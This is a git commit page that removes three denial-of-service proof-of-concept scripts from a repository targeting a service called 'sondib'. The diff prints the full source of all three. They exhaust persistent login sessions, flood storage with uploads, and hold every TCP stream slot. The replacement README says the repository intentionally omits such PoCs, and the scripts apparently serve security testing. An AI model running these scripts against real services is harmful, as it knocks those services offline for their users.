Remove sondib denial of service PoCs

This commit is contained in:
yato committed 2026-11-29 17:50:39 +03:00
1 parent 79943e2a36
commit 434be3e1c1
4 files changed
+2 -234

No files matched your search

+2 -11
View File
@@ -20,14 +20,5 @@ communication.
uses the raw protocol search path to check whether the deleted row is still uses the raw protocol search path to check whether the deleted row is still
returned. It exits `0` when deleted metadata is exposed. returned. It exits `0` when deleted metadata is exposed.
`session_exhaustion.py TARGET --count COUNT` performs exactly `COUNT` logins. The repository intentionally does not include DoS PoCs for persistent-session
Successful logins are persistent records, so the count is mandatory and the exhaustion, storage flooding, or TCP-slot exhaustion.
temporary account is intentionally not cleaned up.
`storage_flood.py TARGET --count COUNT` performs exactly `COUNT` valid small
uploads and reports whether all were accepted. Uploaded tracks are retained
until the normal cleaner removes them.
`stream_slots.py TARGET [--hold SECONDS]` holds the service's 32 TCP stream
slots for the requested time. The default hold is 65 seconds so the built-in
60-second idle timeout can be observed.
-89
View File
@@ -1,89 +0,0 @@
#!/usr/bin/env python3
"""Consume the persistent login-session table.
The attempt count is deliberately mandatory because successful logins are
persisted by sondib and are not removed by the normal connection timeout.
"""
from __future__ import annotations
import argparse
import secrets
import string
import sys
from sondib_protocol import ProtocolError, SondibClient
def log(message: str) -> None:
print(message, file=sys.stderr, flush=True)
def random_password() -> str:
alphabet = string.ascii_letters + string.digits
return "pw" + "".join(secrets.choice(alphabet) for _ in range(12))
def register(target: str, username: str, password: str) -> None:
client = SondibClient(target)
try:
response = client.request(
bytes((7,))
+ len(username).to_bytes(2, "little")
+ username.encode()
+ len(password).to_bytes(2, "little")
+ password.encode()
)
if not response or response[0] != 0x11:
raise RuntimeError(f"registration failed: {response.hex()}")
finally:
client.close()
def login(target: str, username: str, password: str) -> bool:
client = SondibClient(target)
try:
response = client.request(
bytes((8,))
+ len(username).to_bytes(2, "little")
+ username.encode()
+ len(password).to_bytes(2, "little")
+ password.encode()
)
return bool(response) and response[0] == 0x11
finally:
client.close()
def run(target: str, count: int) -> int:
if not 1 <= count <= 8192:
raise ValueError("COUNT must be between 1 and 8192")
username = "sess" + secrets.token_hex(5)
password = random_password()
register(target, username, password)
successful = 0
for _ in range(count):
if not login(target, username, password):
break
successful += 1
log(f"target={target} successful_logins={successful} requested={count}")
if successful < count:
log("persistent session limit or another login failure was reached")
return 0
return 1
def main() -> int:
parser = argparse.ArgumentParser(usage="%(prog)s TARGET --count COUNT")
parser.add_argument("target", metavar="TARGET")
parser.add_argument("--count", type=int, required=True, metavar="COUNT")
args = parser.parse_args()
try:
return run(args.target, args.count)
except (OSError, ProtocolError, RuntimeError, ValueError) as exc:
log(f"target={args.target} error={exc}")
return 1
if __name__ == "__main__":
raise SystemExit(main())
-80
View File
@@ -1,80 +0,0 @@
#!/usr/bin/env python3
"""Fill sondib storage with valid uploads when no quota is configured."""
from __future__ import annotations
import argparse
import secrets
import string
import subprocess
import sys
import tempfile
from pathlib import Path
PORT = 7777
TIMEOUT = 10
SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb"
def log(message: str) -> None:
print(message, file=sys.stderr, flush=True)
def random_password() -> str:
alphabet = string.ascii_letters + string.digits
return "pw" + "".join(secrets.choice(alphabet) for _ in range(12))
def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]:
return subprocess.run(
[str(SDB), args[0], target, *args[1:]],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=TIMEOUT,
check=False,
)
def run(target: str, count: int) -> int:
if not 1 <= count <= 65535:
raise ValueError("COUNT must be between 1 and 65535")
if not SDB.is_file():
raise RuntimeError(f"sdb client not found: {SDB}")
username = "flood" + secrets.token_hex(5)
password = random_password()
registered = run_sdb(target, "register", username, password)
if registered.returncode != 0:
raise RuntimeError("temporary user registration failed")
with tempfile.NamedTemporaryFile(prefix="sondib-flood-", suffix=".pcm") as pcm:
pcm.write(b"\0" * 1024)
pcm.flush()
uploaded = 0
for index in range(count):
title = f"quota-probe-{index:05d}-{secrets.token_hex(3)}"
result = run_sdb(target, "upload", username, password, title, "p", pcm.name)
if result.returncode != 0:
break
uploaded += 1
log(f"target={target} uploaded={uploaded} requested={count}")
if uploaded < count:
log("an upload limit or service failure was reached")
return 0
log("all requested uploads were accepted; no application quota observed")
return 1
def main() -> int:
parser = argparse.ArgumentParser(usage="%(prog)s TARGET --count COUNT")
parser.add_argument("target", metavar="TARGET")
parser.add_argument("--count", type=int, required=True, metavar="COUNT")
args = parser.parse_args()
try:
return run(args.target, args.count)
except (OSError, RuntimeError, ValueError, subprocess.SubprocessError) as exc:
log(f"target={args.target} error={exc}")
return 1
if __name__ == "__main__":
raise SystemExit(main())
-54
View File
@@ -1,54 +0,0 @@
#!/usr/bin/env python3
"""Occupy sondib's finite TCP stream table with idle connections."""
from __future__ import annotations
import argparse
import socket
import sys
import time
PORT = 7777
MAX_CONNECTIONS = 32
def log(message: str) -> None:
print(message, file=sys.stderr, flush=True)
def run(target: str, hold: int) -> int:
if not 1 <= hold <= 300:
raise ValueError("HOLD must be between 1 and 300 seconds")
sockets: list[socket.socket] = []
try:
for _ in range(MAX_CONNECTIONS):
sock = socket.create_connection((target, PORT), timeout=5)
sock.settimeout(2)
sock.recv(4) # hello length; leave the rest unread and hold the slot
sockets.append(sock)
log(f"target={target} held={len(sockets)} tcp_streams for={hold}s")
time.sleep(hold)
return 0
except (OSError, TimeoutError) as exc:
log(f"target={target} held={len(sockets)} error={exc}")
return 1
finally:
for sock in sockets:
sock.close()
def main() -> int:
parser = argparse.ArgumentParser(usage="%(prog)s TARGET [--hold SECONDS]")
parser.add_argument("target", metavar="TARGET")
parser.add_argument("--hold", type=int, default=65, metavar="SECONDS")
args = parser.parse_args()
try:
return run(args.target, args.hold)
except ValueError as exc:
log(f"target={args.target} error={exc}")
return 1
if __name__ == "__main__":
raise SystemExit(main())